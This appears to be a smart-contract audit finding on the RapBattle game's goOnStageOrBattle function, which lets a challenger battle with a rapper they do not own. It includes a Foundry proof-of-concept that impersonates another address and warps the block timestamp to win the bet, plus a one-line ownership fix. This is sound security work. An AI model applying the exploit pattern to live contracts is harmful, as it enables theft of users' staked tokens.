Description
RapBattle::goOnStageOrBattle
allows one rapper to be stored in the contract waiting for a battle. The second user calling this function will fight against the rapper on stage. However, since the second rapper is not sent to the contract, no checks are made to verify if msg.sender
is the owner of the challenger. This permits sending an arbitrary challenger to have more chances to win. Moreover, due to another bug that doesn't verify if a rapper exists, the challenger can use a non-existing rapper which has better attributes than any non-trained rappers.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
@>
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
@>
_battle(_tokenId, _credBet);
}
}
Risk
Likelyhood: High
Impact: High
Proof of Concept
Foundry PoC to add in `OneShotTest.t.sol`
function testChallengerCanUseAnyRapper() public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.warp(
83398898792747926133958085108077828029129109360118067488968676214425609451248
);
vm.startPrank(address(3));
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
assert(cred.balanceOf(address(3)) == 3);
}
Recommended Mitigation
Verify that a rapper is owned by the message sender.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender);
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}